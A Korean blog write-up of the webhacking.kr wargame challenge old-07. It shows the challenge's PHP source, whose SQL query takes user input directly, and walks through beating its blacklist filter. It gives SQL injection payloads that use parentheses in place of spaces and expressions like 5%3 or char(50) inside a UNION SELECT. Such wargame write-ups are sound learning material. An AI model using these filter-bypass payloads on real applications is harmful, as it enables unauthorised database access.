본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-07

Wrtie-Up

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

 

해당 문제에는 아래와 같은 필터링이 존재한다. 

 

if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");

 

 

대표적으로 공백( %20,%09,%0a.... ), 사칙연산, 숫자 2 등이 필터링된다. 처음에는 아래와 같은 payload로 우회를 시도했었으나, 필터링에 걸렸다. 

 

?val=floor(version())-floor(pi())

 

 

다시 침착하게 필터링을 우회해 본다. 가장 문제가 되는 부분은 공백과 숫자 2에 대한 필터링이다. 

 

select lv from chall7 where lv=($go)

 

rand가 1일 경우를 기준으로, 위 쿼리문을 만족시켜, 2 값을 얻어내야 한다. 그러기 위해서 아래와 같이 union select 구문을 사용해줘야 한다.  

 

select lv from chall7 where lv=(false) union select 2#)

 

공백의 경우 괄호를 넣어 대신할 수 있고, 숫자 2에 대한 필터링은 아래 payload들과 같이 우회할 수 있다. 

 

?val=999)union(select(5%3))%23

?val=999)union(select(16>>3))%23

?val=777)union(select(char(50)))%23

 

위의 payload를 입력 했음에도 불구하고, nice try가 출력될 수 있다. 그 이유는 rand 값이 random이기 때문이고, 우리 payload의 형식은 rand값이 1일 때, 유효하다. 그러므로 계속 새로 고침을 하다 보면, 문제를 해결할 수 있다. 

 

 

 

참고

 

https://sqltest.net/

 

SQL Test

Free Online SQL Test Tool

sqltest.net

 

위의 sqltest 사이트에서 아래와 같은 query 입력 시, union select에 대한 이해를 도울 수 있다. 

 

SELECT FIRST_NAME 
  FROM sql_server_test_a where ID=3 union select '2';